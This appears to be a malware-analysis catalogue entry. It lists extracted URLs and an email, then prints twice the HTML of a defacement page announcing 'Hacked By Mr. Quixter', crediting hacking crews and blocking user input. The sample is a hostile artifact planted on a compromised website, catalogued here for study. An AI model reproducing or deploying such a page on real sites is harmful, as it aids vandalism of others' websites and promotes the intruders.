PHP Malware Analysis

Back to list

Tags

URLs
https://c.top4top.io/p_20578r13x0.jpg
https://cdn.rawgit.com/bungfrangki/efeksalju/2a7805c7/efek-salju.js
https://c.top4top.io/p_20578r13x0.jpg
https://fonts.googleapis.com/css?family=Kelly+Slab
https://l.top4top.io/p_2054f68z20.png
https://i.top4top.io/m_2061d4not0.mp3
https://mr-quixter.blogspot.com
Emails
mr.quixter@gmail.com
Title
Hacked By Mr. Quixter

Deobfuscated code


<DOCYPE html> 
<style type="text/css"> .lagu{ background:transparent; border:2px solid red; font-family:Share Tech Mono; color:white; font-size:15x; font-weight:bold; padding:3px 29px; text-decoration:none; text-shadow:0px 0px 0px ; } </style>
<script> function play(){ var audio = document.getElementById('lagu'); audio.play(); } function liat(){ document.getElementById('galiat').style.visibility='visible'; } </script>
<head> 

   <link rel="icon" type="image/jpg" href="https://c.top4top.io/p_20578r13x0.jpg">

    <meta name="description" content="Your Website Has Been Defaced!!">

     <meta name="keywords" content="Nothing Special"> 

     <meta http-equiv="cache-control" content="index,cache">

      <meta http-equiv="pragma" content="index,cache">

       <title>Hacked By Mr. Quixter</title>

       

<script src="https://cdn.rawgit.com/bungfrangki/efeksalju/2a7805c7/efek-salju.js" type="text/javascript"></script>

<body oncontextmenu='return false;' onkeydown='return false;' onmousedown='return false;'>

<meta charset="utf-8">

<meta name="description" og:content="Not Now">

<meta name="og:description" content="Your Website Has Been Defaced!!">

<meta property="og:image" content="https://c.top4top.io/p_20578r13x0.jpg">

<link href="https://fonts.googleapis.com/css?family=Kelly+Slab" rel="stylesheet" type="text/css">

<style> html,

body { color: #FFFFFF; font-family: 'Kelly Slab', sans-serif; font-weight: 60; height: 60vh; margin: 0; }

.full-height { height: 67vh; }

.flex-center { align-items: center; display: flex; justify-content: center; }

.position-ref { position: relative; }

.content { text-align: center; }

.title{ font-size: 36px; padding: 20px; }

	input {

		background: transparent;

		color: black;

		border: 1px solid black;

	}

	input:hover{

		color: black;

	}

</style> 

<style type=text/css >

.blink_text {

-webkit-animation-name: blinker;

-webkit-animation-duration: 2s;

-webkit-animation-timing-function: linear;

-webkit-animation-iteration-count: infinite;



-moz-animation-name: blinker;

-moz-animation-duration: 2s;

-moz-animation-timing-function: linear;

-moz-animation-iteration-count: infinite;



animation-name: blinker;

animation-duration: 2s;

animation-timing-function: linear;

animation-iteration-count: infinite;



color: red;

}

@-moz-keyframes blinker { 

0% { opacity: 5.0;

}

50% { opacity: 0.0;

}

100% { opacity: 5.0;

}

}

@-webkit-keyframes blinker { 

0% { opacity: 5.0;

}

50% { opacity: 0.0;

}

100% { opacity: 5.0;

}

}

@keyframes blinker { 

0% { opacity: 5.0;

}

50% { opacity: 0.0;

}

100% { opacity: 5.0;

}

}



#copy {

	color: lime;

	font-weight: bold;

	font-family: Kelly Slab;

}

#copy a {

	color: white;

}

#copy a:hover {

	color: blue;

}



body{

font-family: Kelly Slab;

background-color: black;

color:white;

}

#content tr:hover{

background-color: blue;

text-shadow:0px 0px 10px #fff;

}

#content .first{

background-color: #15CFF4;

}

table{

border: 1px #000000;

}

.s_tb{

border:1px silver;

}

a{

color:white;

font-size: 19px;

text-decoration:none;

}

a:hover{

color:green;

text-shadow:0px 0px 10px #ffffff;

}

input,select,textarea{

border: 2px #000000 solid;

-moz-border-radius: 5px;

-webkit-border-radius:5px;

border-radius:5px;

}

h2{

font-family:Kelly Slab;

font-size:25px;

color:white;

}

h3{

font-size:35px;

}

h4{

font-size:15px;

font-family:Kelly Slab;

color:white;

}

</style>



<center>



<body align="center" oncontextmenu="return false" bgcolor="black">

<div class="stars"><div class="twinkling">

<div class="flex-center position-ref full-height"> <div class="content"> 

<div class="text">

<font color="white"> 

<img src="https://l.top4top.io/p_2054f68z20.png" width="420" height="420"><br><i>

<p class="blink_text"style="font-size:45px;color: white;text-shadow: 0px 0px 0px #00ffff , 0px 0px 0px #00ffff;font-family:Kelly Slab;">Hacked By Mr. Quixter

<style =font-size;45px;color: orange;text-shadow: 0px 0px 29px white , 0px 0px 29px white;> <br></style></p>

<font size="5"font color="red"> Tak bisa menemaninya untuk selamanya <font color="white"> Namun pernah ada disisinya walau tak ada harganya<br><br>

<font color="yellow" face="">Support By:<br>

<font color="red">One Hat Cyber Team<br>

<font color="white">Black Demonstration Cyber<br>

<font color="red">Banyuwangi Cyber Darkside<br>

<font color="white">IndoGhostSec<br>

<font color="red">ClanX7<br>

<font color="red" face="">My Family :<font color="aqua"><marquee width="400">TuanPrivate404 - Mr. Combet - P1r4t3 Cyb3r - Drayso - Mr.Pin666 - IbalGanz - ChokkaXploiter</marquee><font color="yellow"><br>mr.quixter@gmail.com<br><br>



<button class="lagu" onclick="play();liat();"><font face="graduate" size="3" color="" >Play Music</font></button><audio id="lagu" src="https://i.top4top.io/m_2061d4not0.mp3"></audio><font color="white"> &#8226 &#8226 &#8226 &#8226 </font><button class="lagu" onclick="window.location.href='https://mr-quixter.blogspot.com'"><font face="graduate" size="3" color="" ><b>Contact Me</b></font></button>

</font>

</font>

</font>

</font>

</font>

</font>

</font>

</font>

</i>

</font>

</div>

</div>

</div>

</div>

</div>

</body>

</center>

</body>

</head>

</html>


Original code


<DOCYPE html> 
<style type="text/css"> .lagu{ background:transparent; border:2px solid red; font-family:Share Tech Mono; color:white; font-size:15x; font-weight:bold; padding:3px 29px; text-decoration:none; text-shadow:0px 0px 0px ; } </style>
<script> function play(){ var audio = document.getElementById('lagu'); audio.play(); } function liat(){ document.getElementById('galiat').style.visibility='visible'; } </script>
<head> 

   <link rel="icon" type="image/jpg" href="https://c.top4top.io/p_20578r13x0.jpg">

    <meta name="description" content="Your Website Has Been Defaced!!">

     <meta name="keywords" content="Nothing Special"> 

     <meta http-equiv="cache-control" content="index,cache">

      <meta http-equiv="pragma" content="index,cache">

       <title>Hacked By Mr. Quixter</title>

       

<script src="https://cdn.rawgit.com/bungfrangki/efeksalju/2a7805c7/efek-salju.js" type="text/javascript"></script>

<body oncontextmenu='return false;' onkeydown='return false;' onmousedown='return false;'>

<meta charset="utf-8">

<meta name="description" og:content="Not Now">

<meta name="og:description" content="Your Website Has Been Defaced!!">

<meta property="og:image" content="https://c.top4top.io/p_20578r13x0.jpg">

<link href="https://fonts.googleapis.com/css?family=Kelly+Slab" rel="stylesheet" type="text/css">

<style> html,

body { color: #FFFFFF; font-family: 'Kelly Slab', sans-serif; font-weight: 60; height: 60vh; margin: 0; }

.full-height { height: 67vh; }

.flex-center { align-items: center; display: flex; justify-content: center; }

.position-ref { position: relative; }

.content { text-align: center; }

.title{ font-size: 36px; padding: 20px; }

	input {

		background: transparent;

		color: black;

		border: 1px solid black;

	}

	input:hover{

		color: black;

	}

</style> 

<style type=text/css >

.blink_text {

-webkit-animation-name: blinker;

-webkit-animation-duration: 2s;

-webkit-animation-timing-function: linear;

-webkit-animation-iteration-count: infinite;



-moz-animation-name: blinker;

-moz-animation-duration: 2s;

-moz-animation-timing-function: linear;

-moz-animation-iteration-count: infinite;



animation-name: blinker;

animation-duration: 2s;

animation-timing-function: linear;

animation-iteration-count: infinite;



color: red;

}

@-moz-keyframes blinker { 

0% { opacity: 5.0;

}

50% { opacity: 0.0;

}

100% { opacity: 5.0;

}

}

@-webkit-keyframes blinker { 

0% { opacity: 5.0;

}

50% { opacity: 0.0;

}

100% { opacity: 5.0;

}

}

@keyframes blinker { 

0% { opacity: 5.0;

}

50% { opacity: 0.0;

}

100% { opacity: 5.0;

}

}



#copy {

	color: lime;

	font-weight: bold;

	font-family: Kelly Slab;

}

#copy a {

	color: white;

}

#copy a:hover {

	color: blue;

}



body{

font-family: Kelly Slab;

background-color: black;

color:white;

}

#content tr:hover{

background-color: blue;

text-shadow:0px 0px 10px #fff;

}

#content .first{

background-color: #15CFF4;

}

table{

border: 1px #000000;

}

.s_tb{

border:1px silver;

}

a{

color:white;

font-size: 19px;

text-decoration:none;

}

a:hover{

color:green;

text-shadow:0px 0px 10px #ffffff;

}

input,select,textarea{

border: 2px #000000 solid;

-moz-border-radius: 5px;

-webkit-border-radius:5px;

border-radius:5px;

}

h2{

font-family:Kelly Slab;

font-size:25px;

color:white;

}

h3{

font-size:35px;

}

h4{

font-size:15px;

font-family:Kelly Slab;

color:white;

}

</style>



<center>



<body align="center" oncontextmenu="return false" bgcolor="black">

<div class="stars"><div class="twinkling">

<div class="flex-center position-ref full-height"> <div class="content"> 

<div class="text">

<font color="white"> 

<img src="https://l.top4top.io/p_2054f68z20.png" width="420" height="420"><br><i>

<p class="blink_text"style="font-size:45px;color: white;text-shadow: 0px 0px 0px #00ffff , 0px 0px 0px #00ffff;font-family:Kelly Slab;">Hacked By Mr. Quixter

<style =font-size;45px;color: orange;text-shadow: 0px 0px 29px white , 0px 0px 29px white;> <br></style></p>

<font size="5"font color="red"> Tak bisa menemaninya untuk selamanya <font color="white"> Namun pernah ada disisinya walau tak ada harganya<br><br>

<font color="yellow" face="">Support By:<br>

<font color="red">One Hat Cyber Team<br>

<font color="white">Black Demonstration Cyber<br>

<font color="red">Banyuwangi Cyber Darkside<br>

<font color="white">IndoGhostSec<br>

<font color="red">ClanX7<br>

<font color="red" face="">My Family :<font color="aqua"><marquee width="400">TuanPrivate404 - Mr. Combet - P1r4t3 Cyb3r - Drayso - Mr.Pin666 - IbalGanz - ChokkaXploiter</marquee><font color="yellow"><br>mr.quixter@gmail.com<br><br>



<button class="lagu" onclick="play();liat();"><font face="graduate" size="3" color="" >Play Music</font></button><audio id="lagu" src="https://i.top4top.io/m_2061d4not0.mp3"></audio><font color="white"> &#8226 &#8226 &#8226 &#8226 </font><button class="lagu" onclick="window.location.href='https://mr-quixter.blogspot.com'"><font face="graduate" size="3" color="" ><b>Contact Me</b></font></button>

</font>

</font>

</font>

</font>

</font>

</font>

</font>

</font>

</i>

</font>

</div>

</div>

</div>

</div>

</div>

</body>

</center>

</body>

</head>

</html>